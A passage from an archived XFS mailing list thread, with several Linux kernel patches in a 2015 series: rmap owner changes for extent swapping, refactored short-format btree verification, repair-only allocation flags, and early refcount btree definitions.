xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + cur = NULL; + xfs_trans_brelse(tp, agfbp); + agfbp = NULL; +advloop: + offset += imap.br_blockcount; + len -= imap.br_blockcount; + nimaps = 1; + error = xfs_bmapi_read(ip, offset, len, &imap, &nimaps, flags); + } + + if (cur) + xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : + XFS_BTREE_NOERROR); + if (agfbp) + xfs_trans_brelse(tp, agfbp); + return error; +} diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index 0131d9a..5d248b5 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -88,4 +88,12 @@ int xfs_rmap_slide(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, int xfs_rmap_resize(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, struct xfs_bmbt_irec *PREV, long size_adj); +/* functions for changing rmap ownership */ +int xfs_rmap_change_extent_owner(struct xfs_mount *mp, struct xfs_inode *ip, + xfs_ino_t ino, xfs_fileoff_t isize, struct xfs_trans *tp, + int whichfork, xfs_ino_t new_owner); +int xfs_rmap_change_bmbt_owner(struct xfs_btree_cur *bcur, struct xfs_buf *bp, + struct xfs_owner_info *old_owner, + struct xfs_owner_info *new_owner); + #endif /* __XFS_RMAP_BTREE_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index f41a6f7..245a34a 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -40,6 +40,7 @@ #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_log.h" +#include "xfs_rmap_btree.h" /* Kernel only BMAP related definitions and functions */ @@ -1668,6 +1669,17 @@ xfs_swap_extent_flush( return 0; } +static int +change_extent_owner( + struct xfs_inode *ip, + struct xfs_trans *tp, + int whichfork, + struct xfs_inode *tip) +{ + return xfs_rmap_change_extent_owner(ip->i_mount, ip, ip->i_ino, + ip->i_d.di_size, tp, whichfork, tip->i_ino); +} + int xfs_swap_extents( xfs_inode_t *ip, /* target inode */ @@ -1684,19 +1696,7 @@ xfs_swap_extents( int taforkblks = 0; __uint64_t tmp; int lock_flags; - - /* - * We can't swap extents on rmap btree enabled filesystems yet - * as there is no mechanism to update the owner of extents in - * the rmap tree yet. Hence, for the moment, just reject attempts - * to swap extents with EINVAL after emitting a warning once to remind - * us this needs fixing. - */ - if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { - WARN_ONCE(1, - "XFS: XFS_IOC_SWAPEXT not supported on RMAP enabled filesystems\n"); - return -EINVAL; - } + struct xfs_trans_res tres = {.tr_logres = 262144, .tr_logcount = 1, .tr_logflags = 0}; tempifp = kmem_alloc(sizeof(xfs_ifork_t), KM_MAYFAIL); if (!tempifp) { @@ -1734,7 +1734,9 @@ xfs_swap_extents( goto out_unlock; tp = xfs_trans_alloc(mp, XFS_TRANS_SWAPEXT); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); + /* XXX How do we create a potentially huge transaction here? */ + /* error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); */ + error = xfs_trans_reserve(tp, &tres, 0, 0); if (error) { xfs_trans_cancel(tp); goto out_unlock; @@ -1834,6 +1836,14 @@ xfs_swap_extents( goto out_trans_cancel; } + /* Change owners in the extent rmaps */ + error = change_extent_owner(ip, tp, XFS_DATA_FORK, tip); + if (error) + goto out_trans_cancel; + error = change_extent_owner(tip, tp, XFS_DATA_FORK, ip); + if (error) + goto out_trans_cancel; + /* * Swap the data forks of the inodes */ From darrick.wong@oracle.com Tue Oct 6 23:58:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 22D9829E12 for ; Tue, 6 Oct 2015 23:58:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id F3C528F8037 for ; Tue, 6 Oct 2015 21:58:36 -0700 (PDT) X-ASG-Debug-ID: 1444193914-04cbb03f130d5b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id ssN84iI7uxkOAG0q (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:35 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wXH1012562 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:34 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974wX6G007481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:33 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974wX4O021534; Wed, 7 Oct 2015 04:58:33 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:33 -0700 Subject: [PATCH 31/58] libxfs: refactor short btree block verification From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 31/58] libxfs: refactor short btree block verification To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:58:32 -0700 Message-ID: <20151007045832.30457.20472.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193915 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Create xfs_btree_sblock_verify() to verify short-format btree blocks (i.e. the per-AG btrees with 32-bit block pointers) instead of open-coding them. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc_btree.c | 34 ++-------------------- fs/xfs/libxfs/xfs_btree.c | 58 ++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_btree.h | 3 ++ fs/xfs/libxfs/xfs_ialloc_btree.c | 26 ++--------------- fs/xfs/libxfs/xfs_rmap_btree.c | 23 ++------------- 5 files changed, 70 insertions(+), 74 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc_btree.c b/fs/xfs/libxfs/xfs_alloc_btree.c index 90de071..1352322 100644 --- a/fs/xfs/libxfs/xfs_alloc_btree.c +++ b/fs/xfs/libxfs/xfs_alloc_btree.c @@ -293,14 +293,7 @@ xfs_allocbt_verify( level = be16_to_cpu(block->bb_level); switch (block->bb_magic) { case cpu_to_be32(XFS_ABTB_CRC_MAGIC): - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && - be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; /* fall through */ case cpu_to_be32(XFS_ABTB_MAGIC): @@ -311,14 +304,7 @@ xfs_allocbt_verify( return false; break; case cpu_to_be32(XFS_ABTC_CRC_MAGIC): - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && - be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; /* fall through */ case cpu_to_be32(XFS_ABTC_MAGIC): @@ -332,21 +318,7 @@ xfs_allocbt_verify( return false; } - /* numrecs verification */ - if (be16_to_cpu(block->bb_numrecs) > mp->m_alloc_mxr[level != 0]) - return false; - - /* sibling pointer verification */ - if (!block->bb_u.s.bb_leftsib || - (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) - return false; - if (!block->bb_u.s.bb_rightsib || - (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) - return false; - - return true; + return xfs_btree_sblock_verify(bp, mp->m_alloc_mxr[level != 0]); } static void diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c index 2d7dc8c..a24c092 100644 --- a/fs/xfs/libxfs/xfs_btree.c +++ b/fs/xfs/libxfs/xfs_btree.c @@ -4087,3 +4087,61 @@ xfs_btree_change_owner( return 0; } + +/** + * xfs_btree_sblock_v5hdr_verify() -- verify the v5 fields of a short-format + * btree block + * + * @bp: buffer containing the btree block + * @max_recs: pointer to the m_*_mxr max records field in the xfs mount + * @pag_max_level: pointer to the per-ag max level field + */ +bool +xfs_btree_sblock_v5hdr_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_perag *pag = bp->b_pag; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) + return false; + if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) + return false; + if (pag && be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + return false; + return true; +} + +/** + * xfs_btree_sblock_verify() -- verify a short-format btree block + * + * @bp: buffer containing the btree block + * @max_recs: maximum records allowed in this btree node + */ +bool +xfs_btree_sblock_verify( + struct xfs_buf *bp, + unsigned int max_recs) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + + /* numrecs verification */ + if (be16_to_cpu(block->bb_numrecs) > max_recs) + return false; + + /* sibling pointer verification */ + if (!block->bb_u.s.bb_leftsib || + (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) + return false; + if (!block->bb_u.s.bb_rightsib || + (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) + return false; + + return true; +} diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 48ab2b1..dd29d15 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -471,4 +471,7 @@ static inline int xfs_btree_get_level(struct xfs_btree_block *block) #define XFS_BTREE_TRACE_ARGR(c, r) #define XFS_BTREE_TRACE_CURSOR(c, t) +bool xfs_btree_sblock_v5hdr_verify(struct xfs_buf *bp); +bool xfs_btree_sblock_verify(struct xfs_buf *bp, unsigned int max_recs); + #endif /* __XFS_BTREE_H__ */ diff --git a/fs/xfs/libxfs/xfs_ialloc_btree.c b/fs/xfs/libxfs/xfs_ialloc_btree.c index bd8a1da..97228d6 100644 --- a/fs/xfs/libxfs/xfs_ialloc_btree.c +++ b/fs/xfs/libxfs/xfs_ialloc_btree.c @@ -224,7 +224,6 @@ xfs_inobt_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); - struct xfs_perag *pag = bp->b_pag; unsigned int level; /* @@ -240,14 +239,7 @@ xfs_inobt_verify( switch (block->bb_magic) { case cpu_to_be32(XFS_IBT_CRC_MAGIC): case cpu_to_be32(XFS_FIBT_CRC_MAGIC): - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && - be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; /* fall through */ case cpu_to_be32(XFS_IBT_MAGIC): @@ -257,24 +249,12 @@ xfs_inobt_verify( return 0; } - /* numrecs and level verification */ + /* level verification */ level = be16_to_cpu(block->bb_level); if (level >= mp->m_in_maxlevels) return false; - if (be16_to_cpu(block->bb_numrecs) > mp->m_inobt_mxr[level != 0]) - return false; - - /* sibling pointer verification */ - if (!block->bb_u.s.bb_leftsib || - (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) - return false; - if (!block->bb_u.s.bb_rightsib || - (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) - return false; - return true; + return xfs_btree_sblock_verify(bp, mp->m_inobt_mxr[level != 0]); } static void diff --git a/fs/xfs/libxfs/xfs_rmap_btree.c b/fs/xfs/libxfs/xfs_rmap_btree.c index 5fe717b..6546d80 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.c +++ b/fs/xfs/libxfs/xfs_rmap_btree.c @@ -253,13 +253,10 @@ xfs_rmapbt_verify( if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; + /* level verification */ level = be16_to_cpu(block->bb_level); if (pag && pag->pagf_init) { if (level >= pag->pagf_levels[XFS_BTNUM_RMAPi]) @@ -267,21 +264,7 @@ xfs_rmapbt_verify( } else if (level >= mp->m_ag_maxlevels) return false; - /* numrecs verification */ - if (be16_to_cpu(block->bb_numrecs) > mp->m_rmap_mxr[level != 0]) - return false; - - /* sibling pointer verification */ - if (!block->bb_u.s.bb_leftsib || - (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) - return false; - if (!block->bb_u.s.bb_rightsib || - (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) - return false; - - return true; + return xfs_btree_sblock_verify(bp, mp->m_rmap_mxr[level != 0]); } static void From darrick.wong@oracle.com Tue Oct 6 23:58:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 830C17F94 for ; Tue, 6 Oct 2015 23:58:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B4268F8050 for ; Tue, 6 Oct 2015 21:58:43 -0700 (PDT) X-ASG-Debug-ID: 1444193921-04bdf020dc0e4e0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 5Re0ldgjwLKx5lrE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:41 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wek2012662 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:40 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974we7I007701 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:40 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974wdXa006360; Wed, 7 Oct 2015 04:58:40 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:39 -0700 Subject: [PATCH 32/58] xfs: don't update rmapbt when fixing agfl From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 32/58] xfs: don't update rmapbt when fixing agfl To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:58:38 -0700 Message-ID: <20151007045838.30457.34473.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193921 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Allow a caller of xfs_alloc_fix_freelist to disable rmapbt updates when fixing the AG freelist. xfs_repair needs this during phase 5 to be able to adjust the freelist while it's reconstructing the rmap btree; the missing entries will be added back at the very end of phase 5 once the AGFL contents settle down. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 40 ++++++++++++++++++++++++++-------------- fs/xfs/libxfs/xfs_alloc.h | 5 ++++- 2 files changed, 30 insertions(+), 15 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index d7b9d43..be44873 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -2099,26 +2099,38 @@ xfs_alloc_fix_freelist( * anything other than extra overhead when we need to put more blocks * back on the free list? Maybe we should only do this when space is * getting low or the AGFL is more than half full? + * + * The NOSHRINK flag prevents the AGFL from being shrunk if it's too + * big; the NORMAP flag prevents AGFL expand/shrink operations from + * updating the rmapbt. Both flags are used in xfs_repair while we're + * rebuilding the rmapbt, and neither are used by the kernel. They're + * both required to ensure that rmaps are correctly recorded for the + * regenerated AGFL, bnobt, and cntbt. See repair/phase5.c and + * repair/rmap.c in xfsprogs for details. */ - XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); - while (pag->pagf_flcount > need) { - struct xfs_buf *bp; + memset(&targs, 0, sizeof(targs)); + if (!(flags & XFS_ALLOC_FLAG_NOSHRINK)) { + if (!(flags & XFS_ALLOC_FLAG_NORMAP)) + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); + while (pag->pagf_flcount > need) { + struct xfs_buf *bp; - error = xfs_alloc_get_freelist(tp, agbp, &bno, 0); - if (error) - goto out_agbp_relse; - error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, - &targs.oinfo, 1); - if (error) - goto out_agbp_relse; - bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); - xfs_trans_binval(tp, bp); + error = xfs_alloc_get_freelist(tp, agbp, &bno, 0); + if (error) + goto out_agbp_relse; + error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, + &targs.oinfo, 1); + if (error) + goto out_agbp_relse; + bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); + xfs_trans_binval(tp, bp); + } } - memset(&targs, 0, sizeof(targs)); targs.tp = tp; targs.mp = mp; - XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); + if (!(flags & XFS_ALLOC_FLAG_NORMAP)) + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); targs.agbp = agbp; targs.agno = args->agno; targs.alignment = targs.minlen = targs.prod = targs.isfl = 1; diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index 67e564e..754b5dd 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -54,6 +54,9 @@ typedef unsigned int xfs_alloctype_t; */ #define XFS_ALLOC_FLAG_TRYLOCK 0x00000001 /* use trylock for buffer locking */ #define XFS_ALLOC_FLAG_FREEING 0x00000002 /* indicate caller is freeing extents*/ +#define XFS_ALLOC_FLAG_NORMAP 0x00000004 /* don't modify the rmapbt */ +#define XFS_ALLOC_FLAG_NOSHRINK 0x00000008 /* don't shrink the freelist */ + /* * Argument structure for xfs_alloc routines. @@ -86,7 +89,7 @@ typedef struct xfs_alloc_arg { char isfl; /* set if is freelist blocks - !acctg */ char userdata; /* set if this is user data */ xfs_fsblock_t firstblock; /* io first block allocated */ - struct xfs_owner_info oinfo; /* owner of blocks being allocated */ + struct xfs_owner_info oinfo; /* owner of blocks being allocated */ } xfs_alloc_arg_t; /* From darrick.wong@oracle.com Tue Oct 6 23:58:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EAC5529E14 for ; Tue, 6 Oct 2015 23:58:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CAFB18F8035 for ; Tue, 6 Oct 2015 21:58:50 -0700 (PDT) X-ASG-Debug-ID: 1444193928-04cb6c57860d510001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id F4NCMMdfVbyioVeC (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:49 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wl9f012688 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:48 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974wkh7002311 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:47 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974wk5Z021585; Wed, 7 Oct 2015 04:58:46 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:46 -0700 Subject: [PATCH 33/58] xfs: introduce refcount btree definitions From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 33/58] xfs: introduce refcount btree definitions To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:58:45 -0700 Message-ID: <20151007045845.30457.75886.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193928 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add new per-AG refcount btree definitions to the per-AG structures. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 5 +++++ fs/xfs/libxfs/xfs_btree.c | 5 +++-- fs/xfs/libxfs/xfs_btree.h | 4 ++++ fs/xfs/libxfs/xfs_format.h | 34 ++++++++++++++++++++++++++++++++-- fs/xfs/libxfs/xfs_types.h | 2 +- fs/xfs/xfs_inode.h | 5 +++++ fs/xfs/xfs_mount.h | 3 +++ 7 files changed, 53 insertions(+), 5 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index be44873..6e7f0a6 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -2406,6 +2406,10 @@ xfs_agf_verify( be32_to_cpu(agf->agf_btreeblks) > be32_to_cpu(agf->agf_length)) return false; + if (xfs_sb_version_hasreflink(&mp->m_sb) && + be32_to_cpu(agf->agf_refcount_level) > XFS_BTREE_MAXLEVELS) + return false; + return true;; } @@ -2525,6 +2529,7 @@ xfs_alloc_read_agf( be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNTi]); pag->pagf_levels[XFS_BTNUM_RMAPi] = be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAPi]); + pag->pagf_refcount_level = be32_to_cpu(agf->agf_refcount_level); spin_lock_init(&pag->pagb_lock); pag->pagb_count = 0; pag->pagb_tree = RB_ROOT; diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c index a24c092..b6ebfc6 100644 --- a/fs/xfs/libxfs/xfs_btree.c +++ b/fs/xfs/libxfs/xfs_btree.c @@ -44,9 +44,10 @@ kmem_zone_t *xfs_btree_cur_zone; */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, 0, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, - XFS_FIBT_MAGIC }, + XFS_FIBT_MAGIC, 0 }, { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, XFS_RMAP_CRC_MAGIC, - XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } + XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, 